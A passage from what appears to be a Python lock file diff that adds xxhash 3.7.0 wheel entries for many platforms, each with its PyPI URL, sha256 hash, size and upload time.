"https://files.pythonhosted.org/packages/03/fb/f1a379cbc372ae5b9f4ab36154c48a849ca6ebe3ac477067a57865bf3bc6/xxhash-3.7.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f14bb8b22a4a91325813e3d553b8963c10cf8c756cff65ee50c194431296c655", size = 445532, upload-time = "2026-04-25T11:07:08.525Z" }, + { url = "https://files.pythonhosted.org/packages/65/59/172424b79f8cfd4b6d8a122b2193e6b8ad4b11f7159bb3b6f9b3191329bb/xxhash-3.7.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:496736f86a9bedaf64b0dc70e3539d0766df01c71ea22032698e88f3f04a1ce9", size = 193990, upload-time = "2026-04-25T11:07:10.315Z" }, + { url = "https://files.pythonhosted.org/packages/b9/19/aeac22161d953f139f07ba5586cb4a17c5b7b6dff985122803bb12933500/xxhash-3.7.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0ff71596bd79816975b3de7130ab1ff4541410285a3c084584eeb1c8239996fd", size = 284876, upload-time = "2026-04-25T11:07:12.15Z" }, + { url = "https://files.pythonhosted.org/packages/77/d5/4fd0b59e7a02242953da05ff679fbb961b0a4368eac97a217e11dae110c1/xxhash-3.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1ad86695c19b1d46fe106925db3c7a37f16be37669dcf58dcc70a9dd6e324676", size = 210495, upload-time = "2026-04-25T11:07:13.952Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fb/976a3165c728c7faf74aa1b5ab3cf6a85e6d731612894741840524c7d28c/xxhash-3.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:970f9f8c50961d639cbd0d988c96f80ddf66006de93641719282c4fe7a87c5e6", size = 241331, upload-time = "2026-04-25T11:07:15.557Z" }, + { url = "https://files.pythonhosted.org/packages/4a/2c/6763d5901d53ac9e6ba296e5717ae599025c9d268396e8faa8b4b0a8e0ac/xxhash-3.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5886ad85e9e347911783760a1d16cb6b393e8f9e3b52c982568226cb56927bdc", size = 198037, upload-time = "2026-04-25T11:07:17.563Z" }, + { url = "https://files.pythonhosted.org/packages/61/2b/876e722d533833f5f9a83473e6ba993e48745701096944e77bbecf29b2c3/xxhash-3.7.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6e934bbae1e0ec74e27d5f0d7f37ef547ce5ff9f0a7e63fb39e559fc99526734", size = 210744, upload-time = "2026-04-25T11:07:19.055Z" }, + { url = "https://files.pythonhosted.org/packages/21/e6/d7e7baef7ce24166b4668d3c48557bb35a23b92ecadcac7e7718d099ab69/xxhash-3.7.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:3b6b3d28228af044ebcded71c4a3dd86e1dbd7e2f4645bf40f7b5da65bb5fb5a", size = 275406, upload-time = "2026-04-25T11:07:20.908Z" }, + { url = "https://files.pythonhosted.org/packages/92/fe/198b3763b2e01ca908f2154969a2352ec99bda892b574a11a9a151c5ede4/xxhash-3.7.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:6be4d70d9ab76c9f324ead9c01af6ff52c324745ea0c3731682a0cf99720f1fe", size = 414125, upload-time = "2026-04-25T11:07:23.037Z" }, + { url = "https://files.pythonhosted.org/packages/3a/6d/019a11affd5a5499137cacca53808659964785439855b5aa40dfd3412916/xxhash-3.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:151d7520838d4465461a0b7f4ae488b3b00de16183dd3214c1a6b14bf89d7fb6", size = 191555, upload-time = "2026-04-25T11:07:24.991Z" }, + { url = "https://files.pythonhosted.org/packages/76/21/b96d58568df2d01533244c3e0e5cbdd0c8b2b25c4bec4d72f19259a292d7/xxhash-3.7.0-cp313-cp313-win32.whl", hash = "sha256:d798c1e291bffb8e37b5bbe0dda77fc767cd19e89cadaf66e6ed5d0ff88c9fe6", size = 30668, upload-time = "2026-04-25T11:07:26.665Z" }, + { url = "https://files.pythonhosted.org/packages/99/57/d849a8d3afa1f8f4bc6a831cd89f49f9706fbbad94d2975d6140a171988c/xxhash-3.7.0-cp313-cp313-win_amd64.whl", hash = "sha256:875811ba23c543b1a1c3143c926e43996eb27ebb8f52d3500744aa608c275aed", size = 31524, upload-time = "2026-04-25T11:07:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/81/52/bacc753e92dee78b058af8dcef0a50815f5f860986c664a92d75f965b6a5/xxhash-3.7.0-cp313-cp313-win_arm64.whl", hash = "sha256:54a675cb300dda83d71daae2a599389d22db8021a0f8db0dd659e14626eb3ecc", size = 27768, upload-time = "2026-04-25T11:07:29.113Z" }, + { url = "https://files.pythonhosted.org/packages/1c/47/ddbd683b7fc7e592c1a8d9d65f73ce9ab513f082b3967eee2baf549b8fc6/xxhash-3.7.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a3b19a42111c4057c1547a4a1396a53961dca576a0f6b82bfa88a2d1561764b2", size = 33576, upload-time = "2026-04-25T11:07:30.469Z" }, + { url = "https://files.pythonhosted.org/packages/07/f2/36d3310161db7f72efb4562aadde0ed429f1d0531782dd6345b12d2da527/xxhash-3.7.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8f4608a06e4d61b7a3425665a46d00e0579122e1a2fae97a0c52953a3aad9aa3", size = 31123, upload-time = "2026-04-25T11:07:31.989Z" }, + { url = "https://files.pythonhosted.org/packages/0d/3f/75937a5c69556ed213021e43cbedd84c8e0279d0d74e7d41a255d84ba4b1/xxhash-3.7.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ad37c7792479e49cf96c1ab25517d7003fe0d93687a772ba19a097d235bbe41e", size = 196491, upload-time = "2026-04-25T11:07:33.358Z" }, + { url = "https://files.pythonhosted.org/packages/22/29/f10d7ff8c7a733d4403a43b9de18c8fabc005f98cec054644f04418659ee/xxhash-3.7.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc026e3b89d98e30a8288c95cb696e77d150b3f0fb7a51f73dcd49ee6b5577fa", size = 215793, upload-time = "2026-04-25T11:07:34.919Z" }, + { url = "https://files.pythonhosted.org/packages/8b/fd/778f60aa295f58907938f030a8b514611f391405614a525cccd2ffc00eb5/xxhash-3.7.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c9b31ab1f28b078a6a1ac1a54eb35e7d5390deddd56870d0be3a0a733d1c321c", size = 237993, upload-time = "2026-04-25T11:07:36.638Z" }, + { url = "https://files.pythonhosted.org/packages/70/f5/736db5de387b4a540e37a05b84b40dc58a1ce974bfd2b4e5754ce29b68c3/xxhash-3.7.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3bb5fd680c038fd5229e44e9c493782f90df9bef632fd0499d442374688ff70b", size = 214887, upload-time = "2026-04-25T11:07:38.564Z" }, + { url = "https://files.pythonhosted.org/packages/4d/aa/09a095f22fdb9a27fbb716841fbff52119721f9ca4261952d07a912f7839/xxhash-3.7.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:030c0fd688fce3569fbb49a2feefd4110cbb0b650186fb4610759ecfac677548", size = 448407, upload-time = "2026-04-25T11:07:40.552Z" }, + { url = "https://files.pythonhosted.org/packages/74/8a/b745efeeca9e34a91c26fdc97ad8514c43d5a81ac78565cba80a1353870a/xxhash-3.7.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5b1bde10324f4c31812ae0d0502e92d916ae8917cad7209353f122b8b8f610c3", size = 196119, upload-time = "2026-04-25T11:07:42.101Z" }, + { url = "https://files.pythonhosted.org/packages/8a/5c/0cfceb024af90c191f665c7933b1f318ee234f4797858383bebd1881d52f/xxhash-3.7.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:503722d52a615f2604f5e7611de7d43878df010dc0053094ef91cb9a9ac3d987", size = 286751, upload-time = "2026-04-25T11:07:43.568Z" }, + { url = "https://files.pythonhosted.org/packages/0b/0a/0793e405dc3cf8f4ebe2c1acec1e4e4608cd9e7e50ea691dabbc2a95ccbb/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c72500a3b6d6c30ebfc135035bcace9eb5884f2dc220804efcaaba43e9f611dd", size = 212961, upload-time = "2026-04-25T11:07:45.388Z" }, + { url = "https://files.pythonhosted.org/packages/0c/7e/721118ffc63bfff94aa565bcf2555a820f9f4bdb0f001e0d609bdfad70de/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:43475925a766d01ca8cd9a857fd87f3d50406983c8506a4c07c4df12adcc867f", size = 243703, upload-time = "2026-04-25T11:07:47.053Z" }, + { url = "https://files.pythonhosted.org/packages/6e/18/16f6267160488b8276fd3d449d425712512add292ba545c1b6946bfdb7dd/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8d09dfd2ab135b985daf868b594315ebe11ad86cd9fea46e6c69f19b28f7d25a", size = 200894, upload-time = "2026-04-25T11:07:48.657Z" }, + { url = "https://files.pythonhosted.org/packages/2d/94/80ba841287fd97e3e9cac1d228788c8ef623746f570404961eec748ecb5c/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c50269d0055ac1faecfd559886d2cbe4b730de236585aba0e873f9d9dadbe585", size = 213357, upload-time = "2026-04-25T11:07:50.257Z" }, + { url = "https://files.pythonhosted.org/packages/a1/7e/106d4067130c59f1e18a55ffadcd876d8c68534883a1e02685b29d3d8153/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:1910df4756a5ab58cfad8744fc2d0f23926e3efcc346ee76e87b974abab922f4", size = 277600, upload-time = "2026-04-25T11:07:51.745Z" }, + { url = "https://files.pythonhosted.org/packages/c5/86/a081dd30da71d720b2612a792bfd55e45fa9a07ac76a0507f60487473c25/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d006faf3b491957efcb433489be3c149efe4787b7063d5cddb8ddaefdc60e0c1", size = 416980, upload-time = "2026-04-25T11:07:53.504Z" }, + { url = "https://files.pythonhosted.org/packages/35/29/1a95221a029a3c1293773869e1ab47b07cbbdd82444a42809e8c60156626/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:abb65b4e947e958f7b3b0d71db3ce447d1bc5f37f5eab871ce7223bda8768a04", size = 193840, upload-time = "2026-04-25T11:07:55.103Z" }, + { url = "https://files.pythonhosted.org/packages/c5/e0/db909dd0823285de2286f67e10ee4d81e96ad35d7d8e964ecb07fccd8af9/xxhash-3.7.0-cp313-cp313t-win32.whl", hash = "sha256:178959906cb1716a1ce08e0d69c82886c70a15a6f2790fc084fdd146ca30cd49", size = 30966, upload-time = "2026-04-25T11:07:56.524Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ff/d705b15b22f21ee106adce239cb65d35067a158c630b240270f09b17c2e6/xxhash-3.7.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2524a1e20d4c231d13b50f7cf39e44265b055669a64a7a4b9a2a44faa03f19b6", size = 31784, upload-time = "2026-04-25T11:07:57.758Z" }, + { url = "https://files.pythonhosted.org/packages/a2/1f/b2cf83c3638fd0588e0b17f22e5a9400bdfb1a3e3755324ac0aee2250b88/xxhash-3.7.0-cp313-cp313t-win_arm64.whl", hash = "sha256:37d994d0ffe81ef087bb330d392caa809bb5853c77e22ea3f71db024a0543dba", size = 27932, upload-time = "2026-04-25T11:07:59.109Z" }, + { url = "https://files.pythonhosted.org/packages/0e/cc/431db584f6fbb9312e40a173af027644e5580d39df1f73603cbb9dca4d6b/xxhash-3.7.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:8c5fcfd806c335bfa2adf1cd0b3110a44fc7b6995c3a648c27489bae85801465", size = 36644, upload-time = "2026-04-25T11:08:00.658Z" }, + { url = "https://files.pythonhosted.org/packages/bc/01/255ec513e0a705d1f9a61413e78dfce4e3235203f0ed525a24c2b4b56345/xxhash-3.7.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:506a0b488f190f0a06769575e30caf71615c898ed93ab18b0dbcb6dec5c3713c", size = 35003, upload-time = "2026-04-25T11:08:02.338Z" }, + { url = "https://files.pythonhosted.org/packages/68/70/c55fc33c93445b44d8fc5a17b41ed99e3cebe92bcf8396809e63fc9a1165/xxhash-3.7.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:ec68dbba21532c0173a9872298e65c89749f7c9d21538c3a78b5bb6105871568", size = 29655, upload-time = "2026-04-25T11:08:03.701Z" }, + { url = "https://files.pythonhosted.org/packages/c2/72/ff8de73df000d74467d12a59ce6d6e2b2a368b978d41ab7b1fba5ed442be/xxhash-3.7.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:fa77e7ec1450d415d20129961814787c9abd9a07f98872f070b1fe96c5084611", size = 30664, upload-time = "2026-04-25T11:08:05.011Z" }, + { url = "https://files.pythonhosted.org/packages/b6/91/08416d9bd9bc3bf39d831abe8a5631ac2db5141dfd6fe81c3fe59a1f9264/xxhash-3.7.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:fe32736295ea38e43e7d9424053c8c47c9f64fecfc7c895fb3da9b30b131c9ee", size = 33317, upload-time = "2026-04-25T11:08:06.413Z" }, + { url = "https://files.pythonhosted.org/packages/0e/3b/86b1caa4dee10a99f4bf9521e623359341c5e50d05158fa10c275b2bd079/xxhash-3.7.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ab9dd2c83c4bbd63e422181a76f13502d049d3ddcac9a1bdc29196263d692bb8", size = 33457, upload-time = "2026-04-25T11:08:08.099Z" }, + { url = "https://files.pythonhosted.org/packages/ed/38/98ea14ad1517e1461292a65906951458d520689782bfbae111050145bdba/xxhash-3.7.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3afec3a336a2286601a437cb07562ab0227685e6fbb9ec17e8c18457ff348ecf", size = 30894, upload-time = "2026-04-25T11:08:09.429Z" }, + { url = "https://files.pythonhosted.org/packages/61/a2/074654d0b893606541199993c7db70067d9fc63b748e0d60020a52a1bd36/xxhash-3.7.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:565df64437a9390f84465dcca33e7377114c7ede8d05cd2cf20081f831ea788e", size = 194409, upload-time = "2026-04-25T11:08:10.91Z" }, + { url = "https://files.pythonhosted.org/packages/e2/26/6d2a1afc468189f77ca28c32e1c83e1b9da1178231e05641dbc1b350e332/xxhash-3.7.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:12eca820a5d558633d423bf8bb78ce72a55394823f64089247f788a7e0ae691e", size = 213135, upload-time = "2026-04-25T11:08:12.575Z" }, + { url = "https://files.pythonhosted.org/packages/8e/0e/d8aecf95e09c42547453137be74d2f7b8b14e08f5177fa2fab6144a19061/xxhash-3.7.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f262b8f7599516567e070abf607b9af649052b2c4bd6f9be02b0cb41b7024805", size = 236379, upload-time = "2026-04-25T11:08:14.206Z" }, + { url = "https://files.pythonhosted.org/packages/f2/74/8140e8210536b3dd0cc816c4faaeb5ba6e63e8125ab25af4bcddd6a037b3/xxhash-3.7.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1598916cb197681e03e601901e4ab96a9a963de398c59d0964f8a6f44a2b361", size = 212447, upload-time = "2026-04-25T11:08:15.79Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d2/462001d2903b4bee5a5689598a0a55e5e7cd1ac7f4247a5545cff10d3ebb/xxhash-3.7.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:322b2f0622230f526aeb1738149948a7ae357a9e2ceb1383c6fd1fdaecdafa16", size = 445660, upload-time = "2026-04-25T11:08:17.441Z" }, + { url = "https://files.pythonhosted.org/packages/23/09/2bd1ed7f8689b20e51727952cac8329d50c694dc32b2eba06ba5bc742b37/xxhash-3.7.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:24cc22070880cc57b830a65cde4e65fa884c6d9b28ae4803b5ee05911e7bafba", size = 194076, upload-time = "2026-04-25T11:08:19.134Z" }, + { url = "https://files.pythonhosted.org/packages/c9/6e/692302cd0a5f4ac4e6289f37fa888dc2e1e07750b68fe3e4bfe939b8cea3/xxhash-3.7.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb5a888a968b2434abf9ecda357b5d43f10d7b5a6da6fdbbe036208473aff0e2", size = 284990, upload-time = "2026-04-25T11:08:20.618Z" }, + { url = "https://files.pythonhosted.org/packages/05/d9/e54b159b3d9df7999d2a7c676ce7b323d1b5588a64f8f51ed8172567bd87/xxhash-3.7.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a999771ff97bec27d18341be4f3a36b163bb1ac41ec17bef6d2dabd84acd33c7", size = 210590, upload-time = "2026-04-25T11:08:22.24Z" }, + { url = "https://files.pythonhosted.org/packages/50/93/0e0df1a3a196ced4ca71de76d65ead25d8e87bbfb87b64306ea47a40c00d/xxhash-3.7.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ed4a6efe2dee1655adb73e7ad40c6aa955a6892422b1e3b95de6a34de56e3cbb", size = 241442, upload-time = "2026-04-25T11:08:23.844Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a9/d917a7a814e90b218f8a0d37967105eea91bf752c3303683c99a1f7bfc1f/xxhash-3.7.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9fd17f14ac0faa12126c2f9ca774a8cf342957265ec3c8669c144e5e6cdb478c", size = 198356, upload-time = "2026-04-25T11:08:25.99Z" }, + { url = "https://files.pythonhosted.org/packages/89/5e/f2ba1877c39469abbefc72991d6ebdcbd4c0880db01ae8cb1f553b0c537d/xxhash-3.7.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:05fd1254268c59b5cb2a029dfc204275e9fc52de2913f1e53aa8d01442c96b4d", size = 210898, upload-time = "2026-04-25T11:08:27.608Z" }, + { url = "https://files.pythonhosted.org/packages/90/c6/be56b58e73de531f39a10de1355bb77ceb663900dc4bf2d6d3002a9c3f9e/xxhash-3.7.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:a2eae53197c6276d5b317f75a1be226bbf440c20b58bf525f36b5d0e1f657ca6", size = 275519, upload-time = "2026-04-25T11:08:29.301Z" }, + { url = "https://files.pythonhosted.org/packages/92/e2/17ddc85d5765b9c709f192009ed8f5a1fc876f4eb35bba7c307b5b1169f9/xxhash-3.7.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:bfe6f92e3522dcbe8c4281efd74fa7542a336cb00b0e3272c4ec0edabeaeaf67", size = 414191, upload-time = "2026-04-25T11:08:31.16Z" }, + { url = "https://files.pythonhosted.org/packages/9c/42/85f5b79f4bf1ec7ba052491164adfd4f4e9519f5dc7246de4fbd64a1bd56/xxhash-3.7.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7ab9a49c410d8c6c786ab99e79c529938d894c01433130353dd0fe999111077a", size = 191604, upload-time = "2026-04-25T11:08:32.862Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d0/6127b623aa4cca18d8b7743592b048d689fd6c6e37ff26a22cddf6cd9d7f/xxhash-3.7.0-cp314-cp314-win32.whl", hash = "sha256:040ea63668f9185b92bc74942df09c7e65703deed71431333678fc6e739a9955", size = 31271, upload-time = "2026-04-25T11:08:34.651Z" }, + { url = "https://files.pythonhosted.org/packages/64/4f/44fc4788568004c43921701cbc127f48218a1eede2c9aea231115323564d/xxhash-3.7.0-cp314-cp314-win_amd64.whl", hash = "sha256:2a61e2a3fb23c892496d587b470dee7fa1b58b248a187719c65ea8e94ec13257", size = 32284, upload-time = "2026-04-25T11:08:35.987Z" }, + { url = "https://files.pythonhosted.org/packages/6d/77/18bb895eb60a49453d16e17d67990e5caff557c78eafc90ad4e2eabf4570/xxhash-3.7.0-cp314-cp314-win_arm64.whl", hash = "sha256:c7741c7524961d8c0cb4d4c21b28957ff731a3fd5b5cd8b856dc80a40e9e5acc", size = 28701, upload-time = "2026-04-25T11:08:37.767Z" }, + { url = "https://files.pythonhosted.org/packages/45/a0/46f72244570c550fbbb7db1ef554183dd5ebe9136385f30e032b781ae8f6/xxhash-3.7.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:fc84bf7aa7592f31ec63a3e7b11d624f468a3f19f5238cec7282a42e838ab1d7", size = 33646, upload-time = "2026-04-25T11:08:39.109Z" }, + { url = "https://files.pythonhosted.org/packages/4a/3a/453846a7eceea11e75def361eed01ec6a0205b9822c19927ed364ccae7cc/xxhash-3.7.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9f1563fdc8abfc389748e6932c7e4e99c89a53e4ec37d4563c24fc06f5e5644b", size = 31125, upload-time = "2026-04-25T11:08:40.467Z" }, + { url = "https://files.pythonhosted.org/packages/bd/3e/49434aba738885d512f9e486db1bdd19db28dfa40372b56da26ef7a4e738/xxhash-3.7.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2d415f18becf6f153046ab6adc97da77e3643a0ee205dae61c4012604113a020", size = 196633, upload-time = "2026-04-25T11:08:41.943Z" }, + { url = "https://files.pythonhosted.org/packages/a4/e9/006cb6127baeb9f8abe6d15e62faa01349f09b34e2bfd65175b2422d026b/xxhash-3.7.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bb16aa13ed175bc9be5c2491ba031b85a9b51c4ed90e0b3d4ebe63cf3fb54f8e", size = 215899, upload-time = "2026-04-25T11:08:43.645Z" }, + { url = "https://files.pythonhosted.org/packages/27/e4/cc57d72e66df0ae29b914335f1c6dcf61e8f3746ddf0ae3c471aa4f15e00/xxhash-3.7.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f9fd595f1e5941b3d7863e4774e4b30caa6731fc34b9277da032295aa5656ee5", size = 238116, upload-time = "2026-04-25T11:08:45.698Z" }, + { url = "https://files.pythonhosted.org/packages/af/78/3531d4a3fd8a0038cc6be1f265a69c1b3587f557a10b677dd736de2202c1/xxhash-3.7.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1295325c5a98d552333fa53dc2b026b0ef0ec9c8e73ca3a952990b4c7d65d459", size = 215012, upload-time = "2026-04-25T11:08:47.355Z" }, + { url = "https://files.pythonhosted.org/packages/b4/f6/259fb1eaaec921f59b17203b0daee69829761226d3b980d5191d7723dd83/xxhash-3.7.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3573a651d146912da9daa9e29e5fbc45994420daaa9ef1e2fa5823e1dc485513", size = 448534, upload-time = "2026-04-25T11:08:49.149Z" }, + { url = "https://files.pythonhosted.org/packages/7b/16/a66d0eaf6a7e68532c07714361ddc904c663ec940f3b028c1ae4a21a7b9d/xxhash-3.7.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ec1e080a3d02d94ea9335bfab0e3374b877e25411422c18f51a943fa4b46381", size = 196217, upload-time = "2026-04-25T11:08:50.805Z" }, + { url = "https://files.pythonhosted.org/packages/8d/ef/d2efc7fc51756dc52509109d1a25cefc859d74bc4b19a167b12dbd8c2786/xxhash-3.7.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:84415265192072d8638a3afc3c1bc5995e310570cd9acb54dc46d3939e364fe0", size = 286906, upload-time = "2026-04-25T11:08:52.418Z" }, + { url = "https://files.pythonhosted.org/packages/fc/67/25decd1d4a4018582ec4db2a868a2b7e40640f4adb20dfeb19ac923aa825/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d4dea659b57443989ef32f4295104fd6912c73d0bf26d1d148bb88a9f159b02", size = 213057, upload-time = "2026-04-25T11:08:54.105Z" }, + { url = "https://files.pythonhosted.org/packages/0d/5d/17651eb29d06786cdc40c60ae3d27d645aa5d61d2eca6237a7ba0b94789b/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:05ece0fe4d9c9c2728912d1981ae1566cfc83a011571b24732cbf76e1fb70dca", size = 243886, upload-time = "2026-04-25T11:08:56.109Z" }, + { url = "https://files.pythonhosted.org/packages/8a/d4/174d9cf7502243d586e6a9ae842b1ae23026620995114f85f1380e588bc9/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:fd880353cf1ffaf321bc18dd663e111976dbd0d3bbd8a66d58d2b470dfa7f396", size = 201015, upload-time = "2026-04-25T11:08:57.777Z" }, + { url = "https://files.pythonhosted.org/packages/91/8c/2254e2d06c3ac5e6fe22eaf3da791b87ea823ae9f2c17b4af66755c5752d/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:4e15cc9e2817f6481160f930c62842b3ff419e20e13072bcbab12230943092bc", size = 213457, upload-time = "2026-04-25T11:08:59.826Z" }, + { url = "https://files.pythonhosted.org/packages/79/a2/e3daa762545921173e3360f3b4ff7fc63c2d27359f7230ec1a7a74e117f6/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:90b9d1a8bd37d768ffc92a1f651ec69afc532a96fa1ac2ea7abbed5d630b3237", size = 277738, upload-time = "2026-04-25T11:09:01.423Z" }, + { url = "https://files.pythonhosted.org/packages/e1/4c/e186da2c46b87f5204640e008d42730bf3c1ee9f0efb71ae1ebcdfeac681/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:157c49475b34ecea8809e51123d9769a534e139d1247942f7a4bc67710bb2533", size = 417127, upload-time = "2026-04-25T11:09:03.592Z" }, + { url = "https://files.pythonhosted.org/packages/17/28/3798e15007a3712d0da3d3fe70f8e11916569858b5cc371053bc26270832/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5a6ddec83325685e729ca119d1f5c518ec39294212ecd770e60693cdc5f7eb79", size = 193962, upload-time = "2026-04-25T11:09:06.228Z" }, + { url = "https://files.pythonhosted.org/packages/ad/95/a26baa93b5241fd7630998816a4ec47a5a0bad193b3f8fc8f3593e1a4a67/xxhash-3.7.0-cp314-cp314t-win32.whl", hash = "sha256:a04a6cab47e2166435aaf5b9e5ee41d1532cc8300efdef87f2a4d0acb7db19ed", size = 31643, upload-time = "2026-04-25T11:09:08.153Z" }, + { url = "https://files.pythonhosted.org/packages/44/36/5454f13c447e395f9b06a3e91274c59f503d31fad84e1836efe3bdb71f6a/xxhash-3.7.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8653dd7c2eda020545bb2c71c7f7039b53fe7434d0fc1a0a9deb79ab3f1a4fc1", size = 32522, upload-time = "2026-04-25T11:09:09.534Z" }, + { url = "https://files.pythonhosted.org/packages/74/35/698e7e3ff38e22992ea24870a511d8762474fb6783627a2910ff22a185c2/xxhash-3.7.0-cp314-cp314t-win_arm64.whl", hash = "sha256:468f0fc114faaa4b36699f8e328bbc3bb11dc418ba94ac52c26dd736d4b6c637", size = 28807, upload-time = "2026-04-25T11:09:11.234Z" }, + { url = "https://files.pythonhosted.org/packages/54/c1/e57ac7317b1f58a92bab692da6d497e2a7ce44735b224e296347a7ecc754/xxhash-3.7.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ad3aa71e12ee634f22b39a0ff439357583706e50765f17f05550f92dbf128a23", size = 31232, upload-time = "2026-04-25T11:10:21.51Z" }, + { url = "https://files.pythonhosted.org/packages/4f/4e/075559bd712bc62e84915ea46bbee859f935d285659082c129bdbff679dd/xxhash-3.7.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5de686e73690cdaf72b96d4fa083c230ec9020bcc2627ce6316138e2cf2fe2d1", size = 28553, upload-time = "2026-04-25T11:10:23.1Z" }, + { url = "https://files.pythonhosted.org/packages/92/ca/a9c78cb384d4b033b0c58196bd5c8509873cabe76389e195127b0302a741/xxhash-3.7.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7fbec49f5341bbdea0c471f7d1e2fb41ae8925af9b6f28025c28defd8eb94274", size = 41109, upload-time = "2026-04-25T11:10:25.022Z" }, + { url = 